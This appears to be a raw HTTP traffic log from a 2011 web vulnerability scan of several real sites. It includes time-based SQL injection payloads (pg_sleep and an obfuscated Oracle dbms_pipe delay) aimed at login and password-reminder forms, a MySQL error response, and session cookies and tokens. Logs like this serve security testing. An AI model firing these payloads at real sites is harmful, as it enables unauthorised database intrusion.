GET /pub/12/7a2/294 HTTP/1.1
Host: www.linkedin.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: visit=G; __utmz=23068709.1303163602.1.1.utmcsr=rockyou.com|utmccn=(referral)|utmcmd=referral|utmcct=/rymini/; __qca=P0-87169230-1303163602430; bcookie="v=1&4d9675db-dcd4-4b34-bfd9-5f98cf2c89da"; __utma=23068709.2028061763.1303163602.1303561523.1304000549.4; __utmv=23068709.guest

HTTP/1.0 302 Moved Temporarily
Server: Apache-Coyote/1.1
Set-Cookie: _lipt=deleteMe; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSESSIONID="ajax:1022634729605892638"; Version=1; Path=/
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Set-Cookie: leo_auth_token="GST:9ALnYa_o7w0-_aDZAiRhif6cnHkmMFvo5bAux56op-0wmSGoVi5tpl:1304703510:a79f22fd5b55c77016e1e883ba6f2782d2bb74f6"; Version=1; Max-Age=1799; Expires=Fri, 06-May-2011 18:08:29 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/
Location: http://www.linkedin.com/pub/social-follow/12/7a2/294
Content-Language: en-US
Vary: Accept-Encoding
Date: Fri, 06 May 2011 17:38:29 GMT
X-Cache: MISS from www.linkedin.com
X-Cache-Lookup: MISS from www.linkedin.com:8080
Via: 1.0 www.linkedin.com (squid/3.0.STABLE20)
Connection: close

GET /pub/social-follow/12/7a2/294 HTTP/1.1
Host: www.linkedin.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: visit=G; __utmz=23068709.1303163602.1.1.utmcsr=rockyou.com|utmccn=(referral)|utmcmd=referral|utmcct=/rymini/; __qca=P0-87169230-1303163602430; bcookie="v=1&4d9675db-dcd4-4b34-bfd9-5f98cf2c89da"; __utma=23068709.2028061763.1303163602.1303561523.1304000549.4; __utmv=23068709.guest; JSESSIONID="ajax:1022634729605892638"; leo_auth_token="GST:9ALnYa_o7w0-_aDZAiRhif6cnHkmMFvo5bAux56op-0wmSGoVi5tpl:1304703510:a79f22fd5b55c77016e1e883ba6f2782d2bb74f6"; lang="v=2&lang=en"

HTTP/1.0 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: _lipt=deleteMe; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Set-Cookie: leo_auth_token="GST:9ALnYa_o7w0-_aDZAiRhif6cnHkmMFvo5bAux56op-0wmSGoVi5tpl:1304703833:12ab3b2206f30def848810f18bb65505a76b5904"; Version=1; Max-Age=1799; Expires=Fri, 06-May-2011 18:13:52 GMT; Path=/
Vary: Accept-Encoding
Set-Cookie: lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/
Last-Modified: Thu, 09 Apr 2009 03:12:33 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Fri, 06 May 2011 17:43:53 GMT
X-Cache: MISS from www.linkedin.com
X-Cache-Lookup: MISS from www.linkedin.com:8080
Via: 1.0 www.linkedin.com (squid/3.0.STABLE20)
Connection: keep-alive
Content-Length: 26636

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=8">
<meta name="descr
...[SNIP]...

GET /newServing/tracking_id.php?d=serw.clicksor.com&r=http%3A%2F%2Fserw.clicksor.com%2FnewServing%2Ftracking_id.php%3Fb%3D1%26&gtruid=1 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.myroitracking.com

HTTP/1.1 302 Found
Date: Fri, 06 May 2011 15:47:09 GMT
Server: Apache/2.2.17 (Fedora)
X-Powered-By: PHP/5.3.5
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: TRUID=13046968294316; expires=Sun, 05-Jun-2011 15:47:09 GMT; path=/; domain=.myroitracking.com
Location: http://serw.clicksor.com/newServing/tracking_id.php?b=1&UID=13046968294316&TRSTR=1&RTID=
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

GET /h/lbmc?Portal=lbmc&Target=ds%2FqueryPost.flow&Template=ds%2FphoneModeRedemption.tmpl&JavaScript=true&Form=lbmcSmartPage&Name_Full=&CompanyName=&Question= HTTP/1.1
Host: broker.gotoassist.com
Connection: keep-alive
Referer: http://www.gotoassist.com/ph/lbmc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:43:47 GMT
Server: Apache
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: dtsSession=SessionInfo%3D237919200%253A316A1A5A2614CFC; path=/
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 8818

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>GoToAssist: live online customer support</title>

<script language="JavaScript">
<!--
function empty
...[SNIP]...

GET / HTTP/1.1
Host: dominionenterprises.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:33:43 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=53f6ccea4163b5ac138ab46c663a40cc; expires=Sun, 08 May 2011 19:33:43 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:33:43 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=4b8d75bf4b0577980e547e8469625d1c7e3088827c5403bc4dc443179c5eca8539d2c650; Path=/
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
<base href="http://www.dominionenterprises.com/" />
<meta http-equiv="Con
...[SNIP]...

GET /subscribe.php HTTP/1.1
Host: events.gsmiweb.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=246713051.1303999551.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=246713051.480784472.1303999551.1303999551.1303999551.1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:38:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=2nk15qm3tn7surn8vvl1ofsf05; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 307
Connection: close
Content-Type: text/html

<script language="javascript">
window.location.href="events.php";
</script>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the ri
...[SNIP]...

GET /billing_view/ HTTP/1.1
Referer: http://hmficweb.hinghammutual.com/billing_view/billingview.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:35:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4009
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQCDDDAA=IPHJKIBCJCNJALBDJMOOPNNJ; path=/
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<TITLE>The Hingham Group - Billing Details Access</TITLE>

...[SNIP]...

GET /billing_view/billingview.asp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 302 Object moved
Date: Fri, 06 May 2011 17:35:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: login.asp
Content-Length: 130
Content-Type: text/html
Set-Cookie: HinghamLoginError=Please+fill+in+all+values; path=/billing_view
Set-Cookie: ASPSESSIONIDSQCDDDAA=IOHJKIBCIBHNDHNJLCHNDMHE; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="login.asp">here</a>.</body>

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=%27%3BSELECT%20pg_sleep(25)--&replace1_ul_=3&totalvalues=3 HTTP/1.1
Host: learn.bridgefront.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=199010044.1303780600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=199010044.1310163297.1303780600.1303780600.1303780600.1

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 21:59:01 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=3930551D31EF952CCD99919CCE5FF629; Path=/
Content-Length: 6430
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

   function showdiv2(param)
   {
    if(param=="show")
    {
    document.all.div1.style.visi
...[SNIP]...

GET / HTTP/1.1
Referer: http://login.vindicosuite.com/AccountManager/ResetPassword/index.asp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2262
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSSSCTDAT=ALNPJKACIDHPPEIGPANPDPFM; path=/
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:30:14 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...

GET /AccountManager/ResetPassword/Exec_Reset.asp HTTP/1.1
Host: login.vindicosuite.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 172
Content-Type: text/html
Location: index.asp?message=Invalid%20Username%20/%20Password
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSSSCTDAT=BNMPJKACBHICJHJNBOKOJFND; path=/
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:19:36 GMT

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="index.asp?message=Invalid%20Username%20/%20Password">here</a>.</body>

GET /AccountManager/ResetPassword/index.asp?message=Invalid%20Username%20/%20Password HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3660
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSSSCTDAT=NBNPJKACJICNIHMECCFHHNJE; path=/
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:20:51 GMT

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
   <title>Password Reset</title>

   <script type="text
...[SNIP]...

GET /default.asp?message=Invalid%20Username%20and%20or%20Password HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: login.vindicosuite.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2294
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSSSCTDAT=CFNPJKACEMAOIDJLNKLBPOEL; path=/
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:21:27 GMT

<html>

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

   <link rel="stylesheet" type="text/css" hre
...[SNIP]...

POST /vindico_dynamic.asp HTTP/1.1
Referer: http://login.vindicosuite.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: login.vindicosuite.com
Accept-Encoding: gzip, deflate
Content-Length: 220

password=(select+dbms_pipe.receive_message((chr(95)%7c%7cchr(33)%7c%7cchr(64)%7c%7cchr(51)%7c%7cchr(100)%7c%7cchr(105)%7c%7cchr(108)%7c%7cchr(101)%7c%7cchr(109)%7c%7cchr(109)%7c%7cchr(97))%2c25)+from+
...[SNIP]...

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 182
Content-Type: text/html
Location: /default.asp?message=Invalid%20Username%20and%20or%20Password
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSSSCTDAT=EONPJKACNHPHPKBJJGJNOKJO; path=/
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 17:34:16 GMT

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/default.asp?message=Invalid%20Username%20and%20or%20Password">here</a>.</body>

GET /compactpoll.asp?pollID=18420 HTTP/1.1
Host: poll.websitegear.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 20:44:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5310
Content-Type: text/html; Charset=utf-8
Set-Cookie: ASPSESSIONIDQQASAQQQ=OBHLEJBCCNPCEHGMOGOCPGDF; path=/
Cache-control: private

function showVote18420(){
var valSelected = false; var voteForm18420 = document.getElementById('WGPoll18420');
var options = document.getElementsByName
...[SNIP]...

GET /compactpoll.asp?pollID=18420 HTTP/1.1
Host: poll.websitegear.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:30:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 5310
Content-Type: text/html; Charset=utf-8
Set-Cookie: ASPSESSIONIDSACSQBTS=BCHAMOBCMMIPKJJCLMLBENKA; path=/
Cache-control: private

function showVote18420(){
var valSelected = false; var voteForm18420 = document.getElementById('WGPoll18420');
var options = document.getElementsByName
...[SNIP]...

GET /visitor/addons/deploy.asp?site=56727252&d_id=software-soa HTTP/1.1
Host: sales.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.dynamicperimeter.com/download/Intel_Expressway_Tokenization_Broker/?partnerref=googletokenization&gclid=CMLLqMvV1KgCFUSo4AodlBcAgw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LivePersonID=LP i=16601209214853,d=1303177644; _mkto_trk=id:220-ESA-932&token:_mch-liveperson.net-1304643823223-44198

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:21:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Last-Modified: Fri, 06 May 2011 10:18:53 GMT
Content-Length: 9902
Content-Type: application/x-javascript
Set-Cookie: ASPSESSIONIDSQBBBCQB=BGNFLBFBIBAHFOFDONLBKAJH; path=/
Cache-control: public, max-age=3600, s-maxage=3600

//Plugins for site 56727252
lpAddMonitorTag();
//DO NOT CHANGE THE BELOW COMMENT
//PLUGINS_LIST=globalUtils
if (typeof(lpMTagConfig.plugins)=='undefined') { lpMTagConfig.plugins = {};}

lpMTagCo
...[SNIP]...